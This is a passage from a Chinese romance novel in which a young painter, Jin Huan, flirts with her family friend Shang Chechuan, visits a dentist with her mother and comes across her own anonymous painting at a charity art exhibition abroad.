靳欢按了按醉意未消的脑袋,勉强揣测了下,第一次主动开口许诺,“澈川哥,你放心好了,我绝不会告诉别人,明天过后,就当从没发生——”
她话未说完,这次确认自己听到他的确笑了下。靳欢来不及思考他为何这样笑,就感觉适才降温下来的呼吸再一次被点燃。
将要被吞噬的恐惧和愉悦,在一点点蔓延。却在她最沉迷的刹那,戛然而止。
玻璃窗被关上,隔绝了车内车外的一切。
靳欢试图再次打开,却发现已经被锁死,她气急,骂了一声“混蛋”,怕车外人听不见,直接打在手机屏幕上放大字体贴在玻璃上!
……
次日。
靳欢被手机铃声吵醒后,迷迷糊糊摸索了半天才从地毯上把手机找到。
下意识以为是闹钟,随手要关掉时才发现自己接通了来电。
“欢欢,起床没有?”
靳欢被这声音一惊,困意顿时消散了个干净,“妈,你怎么突然打电话过来?”
她的转移话题无效,对面直接问道,“还没起是吧?休息日想多睡会儿正常,但你这都睡到下午一点半了知道吗?快点啊,去洗漱洗漱,我大概还有十五分钟到你那儿,你给门卫说一声。”
啊?!
看着被挂断的电话,靳欢来不及回电话问问她妈来这里干什么,匆忙联系门卫等会放人进来后就把手机扔一边。
洗漱都是次要的,最重要的是先去把画具颜料都全部藏起来!
等彻底收拾干净时,门铃刚好响起——
靳欢抓了抓头发,过去开门时不忘多演练几遍故意打哈欠。
门一开,沈云岚一看她这哈欠不断地模样,气归气,也有些心疼,“是不是上班太累了?
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怎么这么缺觉?”
她还不知晓靳欢昨晚代表沈家去了中荆周年庆的事情,靳欢自己也怕露馅,演了两下,迅速找了个“睡昏头了”的由头糊弄过去,就奔着沈云岚手中的食盒看去,
“哎呀,我要饿死了!”
沈云岚瞪过去一眼,“你还知道饿?”
将人推去洗漱,沈云岚自己把带来过的饭在桌子上摆好后,又把多余的水果放进冰箱里,瞧见干干净净的厨房时,眉头皱起,“之前的文阿姨现在回国了吗?回头我问问你舅舅,看能不能把人请过来——”
靳欢刚到国外时完全吃不惯外国菜,文阿姨是当时沈维桢专门找来的到国外给靳欢做饭的阿姨。
靳欢听见,从洗漱台探出头来,“文阿姨回老家了。”
“你这整天在外面吃饭也不行,这两天我——”
“哎呀,妈,不用了,小区物业服务那边有可以做饭的钟点阿姨的。”
只是她这些日子基本没在家吃过什么饭,也懒得让阿姨买菜过来而已。
听她说起物业,沈云岚面上却有些不大信任,“刚我上来时看见你们这楼栋底下有人争吵,也没见物业过来阻止。”
“好像是住户闹什么矛盾吧,人物业已经阻止过好些次了,”靳欢摇摇头,在餐桌前坐下,“妈,你过来到底什么事呀?”
沈云岚转头看了她一眼,“你先吃,吃完陪我去个地方。”
去个地方?靳欢虽疑惑,但肚子也确实饿了,干脆都先不管,好好吃晚饭,换了衣裳上了沈云岚的车。
她也不问去哪儿,反正她妈又不可能把她卖了。
四十分钟后——
车子转过弯,前方的牌子瞬间明显起来,靳欢看着“口腔医院”几个大字,心里涌起不大好的预感,小心翼翼试探,“妈,你牙齿不舒服呀?”
沈云岚正专注将车停到地面最后一个车位,闻言似笑非笑斜过来一眼,“等下下车老老实实和我一起进去。”
靳欢:……
除了商澈川,靳欢想不到她妈从哪里知道她牙齿需要做检查的事情。
昨天只骂他混蛋还是太便宜他了!
难怪他追不到他的白月光,情商这么低,活该!
她气哄哄的,走路路过地面上一颗小石子都忍不住直接一脚踢飞,“商澈川,滚!”
沈云岚刚将车锁好,转头听见她嘟囔的这一句,瞪了一眼过去,“发什么脾气呢?这也能怨到你澈川哥身上?”
靳欢反问,“难道不是他告诉你的?”
沈云岚直接指了指包里的文件袋,“你的牙科档案从国外寄回来了好几天了,就是你把地址写在了西锦苑,你澈川哥今天过去那边有事才发现,让人给你送了过来。”
靳欢更气,“他肯定是故意的!”
沈云岚笑骂,“过份了啊,邮件人家根本没拆封,怎么可能知道你牙齿需要看牙医?难不成你自己亲口说过?”
想起昨晚,靳欢“呜呜”两声,有苦说不出,“没——说——过——”
“行了,这么大个人还怕看医生?”
靳欢小声反驳,“医生是医生,牙医是牙医!”
“行了,少贫,快点别磨蹭,马上到预约的时间了。”
靳欢无奈,心里骂骂咧咧,身体只能由着沈云岚安排老老实实躺在椅子上做检查。
她的这颗智齿,在国外时才刚长出来一点儿,当时医生建议是再观察观察后再考虑拔除。
回国后,靳欢明显感觉这颗智齿从刚刚冒尖到已经有了正常牙齿大小,但出于对牙医的排斥,根本没有来做过检查。
只是每次刷牙时,都会格外“照顾”这个智齿,祈祷它不蛀不歪不发炎!
好在她的祈祷起了作用,拍片后,显示这颗智齿位置非常周正,且没有任何发炎情况,若是不想拔除,暂时也可以不拔。
靳欢立马抢先表决,“谢谢医生,那就先不拔了!”
23. 互诱
看着她直接溜出去的身影,沈云岚哭笑不得,不过牙齿没问题她也就放心了,由着靳欢自己出去透气,自己又仔细和医生交流了一会儿才出去。
外面,靳欢用手机备忘录画的涂鸦作为配图,刚发了个吐槽动态,看见沈云岚出来立马迎了上去,“妈,现在可以回去了吧?”
“走吧,晚饭想吃什么?我和你爸说,让他准备准备……”
她们二人上车时,高乔——
从玻璃窗向远处看,是京市沅江的中流,昨夜的雪还未融尽,即使寒冷,江堤上也游人不断。
林望屿在窗前活动了几下脖颈,转过头来,正欲说话,倒是先被办公桌前人忽然勾起的唇角惊了下!
他小心翼翼凑过去想看看对方在看什么,却先一步被人察觉——
商澈川不动声色将手机锁屏,黑色瞬间覆盖了刚保存下来的卡通人被一脚踢飞的涂鸦画作,抬眼看去,“怎么?”
林望屿讪讪笑了下,“这不是看你从早上就冷着脸到现在,好奇你笑什么嘛。”
真不是他夸张,从早上他来到高乔,就看见这人脸色一直冰冷,不知道的,还以为谁欠他几千万不还呢!
不对,估计就是有人欠他钱不还,他也不至于脸色冷到这地步。
林望屿心里跑火车,一回神看见商澈川已经关了电脑站起身来,不由疑惑,“你去哪儿?”
“回家吃饭。”
“这么早?”林望屿闻言,便拿外套穿上边道,“你家里连个煮饭阿姨都没请,你回家吃什么?不如一起去澜悦吃好了。”
“不去。”
“那你去哪儿吃?我跟你一起,哦——”林望屿说到一半,瞧见商澈川神色,忽然了然过来,“你说的回家是回靳家吃?”
这就没办法了,林望屿耸耸肩,“行吧,那明天机场见吧。”
……
从口腔医院离开后,沈云岚得知实验室里学生操作失误似乎把仪器搞坏了,只得临时又去了一趟学校,靳欢懒得动弹,到了学校停车场后,干脆坐在车里等她。
等到忙完一切,回到家时,已经快要下午六点。
厨房里的香味逸散到了客厅来,靳欢换了鞋子,立马迫不及待直奔厨房而去,
“爸,你做了什么啊?”
她拉开厨房门的瞬间,男人应声转头,声音低沉,“茶树菇排骨汤。”
他眉眼笼罩在热汤的蒸腾雾气中,连带着身上西装领带上的图案都变得模糊不清,靳欢目光在他身上扫过,闻言下意识“哦”了声,说完后才察觉到不对劲,怒瞪过去,这人占自己便宜呢?
砂锅前的人不知是不是察觉到了她的不满,多解释了一句,“伯父出去接电话了。”
他说完就转过身继续盯着汤锅火候,门口,靳欢定定看了几眼他背影,有那么一瞬间甚至怀疑是自己的记忆出了错乱,难道昨晚的一切全部都是假的?
不然这人怎么能做到这么淡定的?
她眨了眨,正准备过去再试探试探,身后却传来了沈云岚的声音,“欢欢,让你去换衣服,你站在厨房门口做什么呢?”
靳泓秋也从后面阳台走了过来,一边洗了手准备接手厨房,一边转头看向靳欢,“看完牙医了吗?医生怎么说?”
靳欢一听到这几个关于牙齿的词就脑壳疼,赶紧扔下一句“我去换衣服”就往楼上跑。
沈云岚见状,又笑又无奈,“这么大个人,上楼梯这么着急做什么?”
说完,转头瞧见厨房里的商澈川,立马将人从里面赶了出来,让他先好好休息一会,不用管厨房的事。
只是末了,不知想到了什么,突然开口问,“哎,澈川,你周二晚上那天又回来一趟是落下什么东西了么?”
那天晚上因为喝了酒的缘故,她和靳泓秋都洗漱上床比较早,但是倒是都还没睡着,“当时怎么没敲门啊?还是你伯父昨天和小区保安聊天,才知道你那天又回来了一趟,但到了门口桂树下站了一会儿却没进来,是忘记——”
她话还没说完,就被一阵笑声打断。
靳欢趴在二楼栏杆处,看着楼下人,笑得险些直不起腰来。
这笑声将靳泓秋都从厨房里惊动了出来,两人虽不明所以,但也被带得忍不住笑,“这孩子,你笑什么呢?”
靳欢用力咳一声,勉强站直了身子,但一开口,嗓音里仍是满满的笑意,“我呀,在笑一个熟人——”
故意在每个字后都拉长了腔调,像是音符在一个一个的下落。
跳跃着,砸在有心人的心尖上。
商澈川面上依旧淡定,但是手指却忍不住松了松领结。
那种想要将头顶上的这只欢快自由的精灵彻底束缚住的黑色欲望再一次冒尖,蔓延,变得强烈。
要是只能待在自己身边,永远都不会离开就好了。
他眸底明暗变幻,赶在楼上人察觉前先一步垂下了眼睑。
靳欢余光瞧见他的动作,以为他这是躲避,眼中笑意之外瞬间闪过得意,这下被自己抓住把柄了吧!
沈云岚夫妻二人对视一眼,俱是不解,“熟人?人家做什么了让你这样笑?”
靳欢眨眨眼,语气晃晃悠悠,
“假~正~经~”
假正经?
沈云岚看着靳欢又跑没影了的身影,摇摇头感叹,“年轻人的想法,一天一个样,我是搞不明白了。”
他旁边,靳泓秋深以为然,转头说起自己带的和靳欢年龄相仿的学生的事情。
他们在厨房聊天,客厅里,商澈川抬头看向已经重归空旷的扶栏处,脚尖不知不觉间就迈向了楼梯。
到了二楼,似是不经意向着她站过的方向走去,经过门口时,商澈川若有所觉,步子微微停顿,下一瞬,就被人拉入了房间里——
这是靳欢专用的小书房,里面有门通往她的卧室。
屋内没有开灯,商澈川还未适应眼前昏暗的光线,便被人勾住领带低下头来。
靳欢仰头看着他眼睛,明明是要看好戏的故意,压低的声音里却又像是纯真的好奇,“澈川哥,你周二时忘记带什么了?”
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她的右手食指轻巧勾在领带结扣处,黑衬衫深棕暗纹黑领带衬托下,越发显得这纤细的一抹异色格外白皙,商澈川垂眸时看见,喉结忍不住滚动了下。
可口中却道,“不要胡闹。”
靳欢发现自己有些根本搞不明白这人,装正经需要装到这种地步么?明明眼睛里有动摇,态度却又这般反差?
她眸光闪烁了下,忽然有了主意。
果断松开手,转身开了灯,无所谓开口,“好吧,不胡闹就是了。”
说罢,直接就要开门出去。
但擦身而过的瞬间,手臂却被人拦住。
她不解看去,旁边人已经迅速收回了手,修长指节按了按眉心,似是被缠住不得解脱的痛苦,“靳欢,这样的玩笑不好笑。”
靳欢来不及思索其中隐隐的不对,就被他这话激起了几分气性,反问道,“什么样的玩笑?这样么?”
她踮起脚,鼻尖凑到他鼻尖处,做势要直接吻上去——
但最后却在最后半厘米不到的距离处戛然而止,指尖点在他胸口,呵气丝丝缕缕,“澈川哥,你的心跳声出卖了你。”
眼前人眼神在一点点松动,靳欢捕捉到,继续加码蛊惑,“要不我们试试吧,我保证不会缠着你——”不放——
最后两个字还未出口,眼前忽然进入了黑暗。
灯被按灭的吧嗒声响起的同时,是潮湿又滚烫的吻。
所以果然是怕自己后续纠缠不断产生麻烦么?这倒是符合他的性格,黑暗里,靳欢还来不及高兴自己推测对了答案,这一缕思绪就被蛮横搅乱。
他在用动作告诉她,不满她的分神。
靳欢额头上沁出了汗珠,愉悦之外还保留了这是在家里的理智,正要先将人推开,面前人却先一步退开了一步。
眼睛看不清,耳朵就会格外灵敏。
比如,此刻两人俱是错乱的呼吸,即使隔开了距离,也仍在起伏交错着。
靳欢想看看他现在是怎么样的神情,有没有清冷被打碎的另一番摸样,但要去开灯时,开关却被另一个手掌先一步盖住。
她疑惑不解抬头,模糊视线里,男人却别过了脸颊,声音近乎祈求,
“别开灯。”
靳欢心下莫名漏了半拍,想要判断他的这种不知从何而来的祈求究竟是不是自己的错觉,可楼下已经响起了沈云岚的声音,“欢欢,澈川,下来吃饭了!”
……
商澈川先一步开门出去。
走廊明亮灯光下,和适才祈求的声音恰恰相反,男人眼中是尽是沉迷和占有的晦暗。
房间内,靳欢应了一声“马上来”后,先回到卧室那边洗手间洗了个脸。
镜子里的人面色红晕还未褪去,靳欢抬头看着,思绪却早已飞向其他地方。
她回想起刚刚商澈川出去的身影,眉头不自觉皱起,明明是两厢情愿的事情,他怎么搞得好像是自己逼他的一样?
这种怪异感一直持续到她出门下楼下到一半,忽然被另一个念头惊醒——
24. 山茶
靳欢忍不住拍了下额头,满是懊恼,哎呀,之前还打定主意要等他忍不住主动的,结果这几天怎么感觉都是自己在主动?
越想越是这么回事,靳欢不由得感慨这人不愧是商人,竟然这么能忍。
她打定主意自己先到此为止,看看他下面有没有主动动作。
而且刚好下周一要和瑞初一起去国外一趟,就当做出去玩分散下注意力了。
话虽如此,但在餐桌上坐下后,靳欢看着对面人冷淡克制的眉眼,有那么一瞬间,忍不住怀疑这人该不会都到了这一步了还能忍住一点儿都不主动吧?
……
因为明天周日,按照“道理”,靳欢应该是不用上班在家休息的,所以今晚吃了晚饭后干脆留在了家里睡。
商澈川因为明日还要忙工作,吃完饭坐了一会儿就直接开车走了。
路面上雪花已经被清理干净,但气象台预告说今夜还要下雪。
实际上,还没等到夜里,商澈川车子刚进入秋花园,就已经有雪花翩翩飞舞落在挡风玻璃上。
他停稳车子,却并未打开车门,目光望向窗外,像是在回味什么。
车内隐隐约约有桂花香气,商澈川低头看了眼,抬手从西装裤口袋里摸出几朵已经萎靡下来的四季桂,唇角忍不住浮现起笑意。
时间好似回到了那间小书房里,她在接吻的间隙将这几朵桂花偷偷放入了他口袋中。
商澈川抽出手绢小心将桂花包起,连已经掉落的花瓣也不放过。
她送自己的礼物,又多了一件。
……
周二,下午。
M市。
客户休息区,陈瑞初看了眼时间,无聊打了个哈欠。
她这次到国外来是来取之前定制的珠宝项链的,但是看到成品后突然又感觉项链吊坠下方做装饰用的宝石种类不喜欢,想要换一个。
好在本来就是做点缀的宝石,并非主饰,品质当然也很好,但是还算不上珍稀,设计师可以直接让人调货过来让工匠师现场进行更换。
不过再快,也要等上几个小时就是了。
哎,好无聊。
她伸了个懒腰,正打算把旁边都已经有些昏昏欲睡的靳欢拉起来出去走走,这附近街区被誉为街拍圣地,景观还不错,但还没动,倒是先瞧见设计师助理走了过来。
对方送过来两张慈善画展的门票,说是画展举办方是他们的客户才送了门票过来,但几位设计师最近都太忙无法出席,倘若可以,希望陈瑞初和靳欢能够帮他们去画展欣赏一二。
反正不管门票从哪儿来,场面话都说得很漂亮就是了。
陈瑞初接过门票,看了一眼时间地点,意料之中,时间就在今天,而且距离这里也不远,走路十多分钟就到。
她其实对画展没什么兴趣,但现在能有个打发时间的去处,自然是不会放过。
靳欢迷迷糊糊被她拉起来,直到出了门才清醒几分,“唔,去哪儿?”
“去看画展。”
“画展?”靳欢接过门票扫了眼,感觉这慈善画展的名字还挺熟悉的。
她将票重新揣进陈瑞初大衣兜里,顺便把自己的手也插进去取暖,“远不远?”
“不远,前面尽头处转弯应该就是了。”
十分钟后——
靳欢本以为是什么动保之类的慈善小展,进来后才发现原来规模并不小,甚至在刚入场的长廊上,她就看到了个早有耳闻的署名。
陈瑞初虽然不了解这些,但一看空间分布,也有些惊讶,“这下不用担心不够看了。”
因为是慈善展览,画作都是不同画家寄送过来的,风格也不一,但是办展策划显然花了不少心思在画作的排列顺序上,硬是让人一路看下去不会感觉到变化得突兀。
陈瑞初看画展一向很直接,不管风格和画派,全凭直觉的喜好,第一眼看上去没感觉的就直接下一幅,只是怕靳欢没看好,便故意放慢了速度等着靳欢。
靳欢察觉到,摇摇头表示不用等,跟着她自己的节奏就行。
毕竟这么大一个展,要是跟着自己的速度一幅一幅的看,怕是要看上两三天。
陈瑞初闻言后放了心,没多大会儿,两人就已经速度进入第二个展厅——
一进去,陈瑞初就忍不住“咦”了声,“欢欢,你看那个,好好看!”
她拉着靳欢直奔那幅画作前,“这是玫瑰吗?哦,下面有备注,Camellia,原来是山茶!”
粉白渐变的山茶,完全盛开,花瓣如同薄纱,中间粉色尚浓,往外一层一层,到了边缘处白色占据主调,花瓣已经几近透明。
陈瑞初看得惊叹,“不知道这花实际看起来什么样的,反正这画看着挺——”
她想了一会才找到合适的词,“挺如梦似幻的,欢欢,依你专业角度看,你觉得这画有没有升值价值?要不等会我问问承办方,什么时候开始拍卖,我把这个买回去怎么样?”
靳欢本来正将注意力放在旁边的画上,听到她这话差点被水呛到,“别买。”
“啊?是画得不好么?”
“倒也不是——”对上她询问的眼神,靳欢轻咳了一声,开口解释,“右下方这里明显有瑕疵,颜色过渡上不够自然,不值得买——”
陈瑞初似懂非懂,“好吧,那我听你的——”
谁知她话还没说完,就被旁边人打断,“完全值得购买!”
他像是已经忍了很久,眉头紧皱,先是把靳欢的话全部反驳了一遍,又一脸真诚向陈瑞初提出建议,“Lady,我认为您的这位朋友并不是专业画家,她的意见或许缺乏可参考性。”
靳欢感觉这人大概更想说自己完全是在胡说八道,只是出于礼貌才用了这么委婉的说辞。
其实刚刚她和瑞初说话的声音很小,而且全程都是用的中文,倒是没想到旁边刚好站了个不仅耳朵灵敏而且还中文说得这么流畅的外国人。
陈瑞初也有些懵圈,第一反应就是反驳回去,维护靳欢。
靳欢见状,忙拦住她,自己开口打了个圆场,先一步直接承认了自己胡说的。
男子似是没想到她会这样,面色尴尬了一瞬,但走开之前还是忍不住又加了一句,“Lychee是一位优秀画家!”
靳欢眨眨眼,一脸“您说的都对”。
陈瑞初不满靳欢刚刚不让她反驳回
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去,小声抱怨,“这人谁啊,莫名其妙——”
“好啦,他也没说什么不是?走吧,等会出去再说,时间差不多了,先回——”
靳欢边说边拉着陈瑞初往外走,结果刚转过身,看见两三步之外的人影,不由得愣了下,“澈川哥?”
她身侧,陈瑞初戳了戳靳欢的腰窝,“欢欢,那边那个长得好像你小舅舅!”
啊?
靳欢顺着她的示意扭头看去,神色僵硬了一瞬,这不是像,这是就是。
这么巧?不仅商澈川在,连小舅舅也在?
她身后就是那幅山茶画。
虽然知道在场的没人知道,但靳欢还是忍不住警觉起来,觉得这地儿不太安全。
她绷住神色,先老老实实和正走过来的人打了招呼,“小舅舅,你怎么在这儿?”
“陪客户。”沈维桢目光落在她刚被手摸过的鼻尖上,好笑道,“你这么紧张做什么?”
靳欢又想摸鼻尖,理智强行克制住习惯,并且迅速找到了由头,“呃,我怕你问我这个时间点不是应该在京市工作嘛。”
沈维桢无奈,“别紧张了,我不问你。”
陈瑞初早就接到靳欢的暗号,适时递上离开的理由,“欢欢,走吧,等下时间来不及了——”
靳欢立马顺着由头往下说,“小舅舅,澈川哥,我和瑞初赶着去拿东西,先走了哈,你,你们——”
“你们”两个字感觉怪怪的,靳欢选择忽视掉,一口气说完,“你们继续逛吧,Byebye!”
直到走出这个展厅,到了门口时,靳欢才回头看了眼,远远地,隔着错落的人影,只看见商澈川和沈维桢两个人竟还真站在那幅画前,像是在说话。
难不成小舅舅和澈川哥是一起来的?
这个念头一出现,靳欢自己先摇了摇头否定。但这两个人站在一起说这么久的话也挺奇怪的,她还以为依着这两人沉默寡言的性格,这种场合偶然遇见,点个头打个招呼就已是走完了流程呢。
不过转念想想,都是从商,多说几句话,没准什么时候就有合作了也说不定?
从画展出来,靳欢还未开口,陈瑞初已经忍不住了,“好几年没见你小舅舅了,还是这么年轻啊!”
靳欢解释道,“他本来也就不比我们大多少岁,今年也才刚三十出头罢了。”
“这样啊,”陈瑞初惊讶,“总感觉你小舅已经当霸总很多年了!”
靳欢被逗笑,想了想,“应该是我小舅舅接手家里公司接手得比较早的缘故。”
自小姨去世后,外祖父身体就一直不好,十多年前时,几乎是公司医院两头跑,而那几年又正是时代重大变革期,家里的企业因为没能紧跟上新时代的风潮,已经开始走下坡路。
若不是小舅舅力挽狂澜,抓住互联网风向又坚持革故求新,硬是借着当初公司里一条不起眼的分支产线反过来带着沈家主营业务重新走向大众视野的话,怕是如今媒体盘算起港城的大企根本不会再加上沈家。
那几年关键时期时她其实才十多岁,很多事情都是后来才得以窥见到当初的惊险。
陈瑞初好奇,“那你小舅怎么还没结婚啊?”
25. 明珠
靳欢摇摇头,“我妈妈催过他好些次,他说没喜欢的。”
两人沿着街边往回走,说着说着,倒是又说回了画展上的那幅山茶,陈瑞初后悔,“早知道应该留个邮箱,等准备拍卖了,让他们把起拍价目表发我一份,就是不能升值,买回来挂家里也挺不错的,是吧?”
靳欢没想到她现在还惦记着那幅画,“你要是想要回头拿几幅其它的给你。”
“其它的?”陈瑞初不解,“你认识哪个?等下,叫什么来着?Lichi?你认识这个画家啊?也对,你们都是画画的,大概也有什么行业圈子——”
她边说边走,几步之后,突然意识到了不对,转身拦在靳欢面前,瞪大了眼睛,
“欢欢,不会是我想的那样吧?”
靳欢挑眉笑,“你想的是怎么样?”
“啊啊啊啊啊啊啊啊啊!”陈瑞初一个飞扑上来,抱着靳欢直接来了个额头吻,“宝,我,我以前只知道你厉害,没想到你厉害成这样啊!你之前怎么不讲你有作品在这画展啊,要不是偶然得了票,差点都要错过了!”
有不少路人被动静吸引,侧目看来,露出友善笑意。
靳欢将人推开点,“我也是进去才知道。”
前些日子她收到过Edwin的邮件和电子合同,里面提过要捐一幅画给一个慈善展览,她当时只仔细看了合同细则就签了名,对展览会的名字就大概扫了一眼。
陈瑞初兴奋劲还没下来,眉开眼笑,“妈呀,这就是说我以后有一个画家朋友了?!宝,你以后要是出了传记,记得一定要把我名字写上去,就写最好的朋友陈瑞初!”
这都哪跟哪儿的事,靳欢无奈扶额,“你这太夸张了。”
“你别以为我不知道,那旁边有个画上面的署名可是我都听说过的,你的画能挂在哪儿,肯定你也很厉害!哎呀,刚刚那外国小哥真是慧眼识珠,我收回想怼他的话,并且正式宣布他就是我的只见过一面的至交好友!”
陈瑞初把手机从口袋翻出来,“走慢点,让我上网查查你的名字——”
一分钟后——
不出意外,靳欢又收获了一波来自陈瑞初的热情的拥抱。
返程差不多都快要走完了时,陈瑞初才突然想起了个被她忽略的问题,“欢欢,那商澈川和你小舅知道那幅画是——”
靳欢淡定,“不知道。”
“难怪你当时不想在哪里和他们说话呢,”陈瑞初恍然后又莫名高兴起来,“那我就是第一个知道的人啦!”
街区对面——
“言老师,言老师?”摄影师喊了两声,见人没反应,只能先放下相机,询问言承的助理,“要不先休息一下?”
助理闻言,正要答应下来,却被人打断,
“不好意思,刚刚走神了,不用休息,继续拍吧。”
摄影师松了一口气,这会儿光线难得合适,要是再等一会儿又要重新考虑打光了。
整个团队重新开始进入工作状态,镜头中央,言承忍住再次向着街对面看去的冲动,面上做着摄影师要求的表情,但心里却忍不住胡乱猜测。
陈瑞初说了什么,她笑得这样开怀?
她和自己在一起时,有没有这样笑过?她,是和陈瑞初一起来的吗?还是,还是和——男朋友?
……
画展。
靳欢离开时回头看见的两人说话的那一幕,其实是两人在画前一共站了十几分钟里说过的唯一的话。
后面,是沈维桢有事先一步离开,商澈川则等林望屿找过来后才一起向外走。
展会监控室——
看着人彻底离开展厅,沈维桢才将目光从监控画面上收回。
“Didyouseeit,Shen?”刚进来的灰色西装男子在对面椅子坐下,指向监控里的山茶花,要继续往下说时看见有工作人员往来,便压低声音换成了中文,“这样不可思议的天赋,如果愿意多开几场巡展,早就可以名利双收。”
任他语气愤愤,沈维桢依旧面色平淡,“她不愿意就不开。”
“你应该劝劝她!”
“她是个成年人,有自己做主的权利。”
“成年人也有做错决定的时刻!你,你这样简直是在助长蒙在明珠上的灰尘!”
沈维桢依旧不为所动。
见已经有人向着这边看来,男人平复了下情绪,采取另一种方式,“Shen,我认为,无论是在东方文化还是在西方文化中,长辈都有劝诫引导晚辈的责任和义务,你和Lychee有着血缘上的联系,是她的亲人,倘若你愿意劝劝她,说不定——”
这次他话未说完就被打断,“我不是——”
戛然而止。
男人皱眉,不明白他为何不继续说下去,“What?”
沈维桢余光从监控上的山茶花收回,站起身来,适才一闪而过的情绪已经消失不见,声色重新平静,
“Edwin,我和她关系没那么亲密。”
话说到这,已经明显没有更进一步讨论的余地,Edwin摊手,“Alright,那就这样。”
“你最好也不要再和她提起此事,倘若她要终止和你的合作,别怪我没提醒过你。”
“Okay,谢谢你的忠告。”
Edwin一脸听之任之,只是见人要走时,脸上突然闪过一丝狡猾,“Shen,她最近有新作品,你要不要看看?”
沈维桢皱眉,“我说过这是她的隐私。”
“你真的一点儿都不好奇?要知道展览出来可是还要等很长的时间?”
“我现在对你作为代理人的专业性有所质疑。”
Edwin一愣,追上沈维桢的步子,“别生气,justajoke!或许我可以问你点别的?”
“嗯?”
“Lychee是不是有了新男友?”
沈维桢步子不变,“为何这样说?”
Edwin欲打开手机相册拿给他看看,但是想到刚刚的话只能止住了动作,“她之前很长一段时间都没有作品,但前两天突然寄过来一幅。”
“那你应该恭喜她又找到了灵感,而不是探寻她的私人感情。”
Edwin摊手,“不管你信不信,反正我的直觉告诉我,她肯定在感情生活上有了新进展。”
前方就是那幅山茶花。
沈维桢站定步子,似是在专心欣赏画作,根本没在听他的话。
“你不明白像Lychee这样的人,或者说群体,对他们而言,灵感来源于缪斯。”Edwin还在试图证明自己的观点,“没有艺术家会不爱自己的缪斯,而很多时候,他们自己可能都不分清这种爱的种类,所以才常会有人说,不要和艺术家做恋人。”
可他费力辩解
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了半天,最后只得来了一句“你今天话太多了”作为回应。
Edwin气愤,直到看见沈维桢认真看画作的侧脸才想到了反击点,得意笑道,
“据我所知,现在来问价这幅的山茶已经有不少人了,shen,你这次怕是不能成功带走了!”
……
靳欢从不关心自己的画作最后被谁买走了,更何况是这种慈善捐赠的。
当日,她和陈瑞初拿了项链后先去喝了杯下午茶,休息得差不多了时,从机场过来的专车也已经快要到了。
不过临时倒是又起了点变动——
陈瑞初扫了眼消息,“欢欢,等下言承和我们一起走可以么?”
靳欢无所谓,“你做主。”
陈瑞初一边给生活助理发消息让她去和包机管家对接一下临时加人的事,一边看向靳欢小声询问,“欢欢,你后面和言承还有联系吗?”
“什么联系?”靳欢反问。
“就你之前不是让言承做你模特吗?”陈瑞初好奇,“就已经结束啦?”
靳欢点头。
陈瑞初定定看了她两眼,忽然眯起眼睛,神秘道,“你老实告诉我,你是不是有了新欢?”
新欢?
“算是吧。”
是就是是,不是就是不是,什么叫算是?陈瑞初正要追问,手机突然有电话进来,她扫了一眼来电人顿时苦起了脸,“欢欢,我爸来电话,我出去接下。”
靳欢用眼神催促她快去,没想到陈瑞初刚出去,她自己的手机竟然也来了电话。
点了接通,
“小舅舅?”
“嗯,准备什么时候回去,要一起吗?”
靳欢摇头,“等会就回了,我和瑞初一起走,她包了机。”
“好,注意安全。”
挂断电话,靳欢还没来得及放下手机,屏幕上就已经显示新的来电通知——
商澈川。
电话接通,对面那边背景声中隐隐有钢琴曲,靳欢懒懒靠在椅背上,等着对方先开口。
男人声音有些低沉,“在忙吗?”
“没。”
“今晚可以陪我参加一个晚宴吗?”
晚宴?靳欢抿了一口咖啡,等待舌尖浓郁的榛子味逐渐消散。
沉默在两部手机之间蔓延。
不答应就是拒绝。
这是社交上的默认规则。
他若是愿意延续他的绅士风度,此刻就该主动解围说“不能去也没关系”。
但仅仅隔了十分钟车程的另外一家酒店里,商澈川站在窗前,垂眸看着楼下戴着帽子口罩的言承一行人匆匆上车的身影,率先打破了沉默,“不方便么?”
餐厅里,靳欢眼中意外闪过,她还以为他会忍到底呢!
她无声挑了下眉,调侃道,“澈川哥,你这次的女伴是也去领证了么?”
……
得知靳欢有事要晚点回国,陈瑞初本也想留下,但是奈何她爸爸催得急,只得先坐车去了机场。
飞机上——
言承一行七人因为出发较早,倒是比陈瑞初先一步登机。
经纪人看了眼一直绷着神色的言承,还以为他这是累了,便压低声音道,“再忍一会儿,等陈大小姐到了,你打声招呼后再去好好休息。”
现在毕竟人在维艺旗下,老总女儿的面子还是要给的。
26. 香水
言承不知听没听进去,借口起身去了趟洗手间。
镜子前,小心将之前戴帽子时压乱的头发又整理了一遍。
外面有说话声传来,他手下一抖,对着镜子深吸一口气才拉开了卫生间的门——
笑意僵在脸上。
经纪人余光看见他这难看神情,吓了一跳,迅速反应过来打了个圆场,“言承,身体好点了吗?”
啊?生病了?陈瑞初疑惑,“要喊医生来看看吗?”
“不用麻烦,他是来机场路上有点晕车,一会儿就好了。”
“行,那你们自便吧。”
十二人座外加一个主卧一个次卧,足够宽敞。
打了个哈欠,陈瑞初就往主卧走,身后却突然传来言承的声音,“等一下,她不一起回去吗?”
陈瑞初愣了下,转过身来打量了一眼言承,合着这位现在还对欢欢念念不忘呢?
她倚在门前,笑着道,“言老师,你现在的身份不适合谈恋爱吧?”
“我和维艺签的合同里并没有这一项。”
陈瑞初回想了下,好像也是,而且言承也没立过什么单身人设,又算是演员一挂,和流量生区别还是很大的。
毕竟是自己家的艺人,陈瑞初想了想,给了几句好心劝告,“强扭的瓜不甜,更何况,她现在有新欢——咳咳——新男友了。”
说罢,不理会后面人惨白的脸色,直接留下一句“晚安”就关门休息去了。
过道处,在场的几人明里暗里全部都在好奇打量,经纪人也没想到言承会突然搞了这么一出,冲着助理使了个眼色让紧急“公关”一下不是他们团队里的两个人,自己则上前将人拉进了次卧里——
“你——”大堆的话到了嗓子口,看见言承失魂落魄的样子,经纪人又不忍心起来,叹了口气,压着声音道,“你们刚刚说的那个她,就是你一直念念不忘的前女友?”
“……嗯。”
能和陈大小姐做朋友的,肯定也不会是普通家庭出身,言承要执意和人家在一起,其实粉丝和路好接受程度应该都还好,经纪人心里瞬间闪过许多念头,倒是微微松了一口气。
只是松完后,突然意识到貌似是人家已经把言承给甩了。
她尴尬了一瞬,“那个,既然已经分手了,还是往前看比较好。”
言承不语。
经纪人,“……哎,感情这东西,说不准的,没准你前女友很快就和现任分手,你又有机会了呢!”
言承终于有了反应,“林姐,你说得对。”
经纪人无语,“……”
合着你是选择性听得见啊?
……
靳欢没有带礼服,只能现在去买一套。
试衣间的门传来声响时,商澈川的目光落过去,眼中瞬间闪过难以遮掩的惊艳。
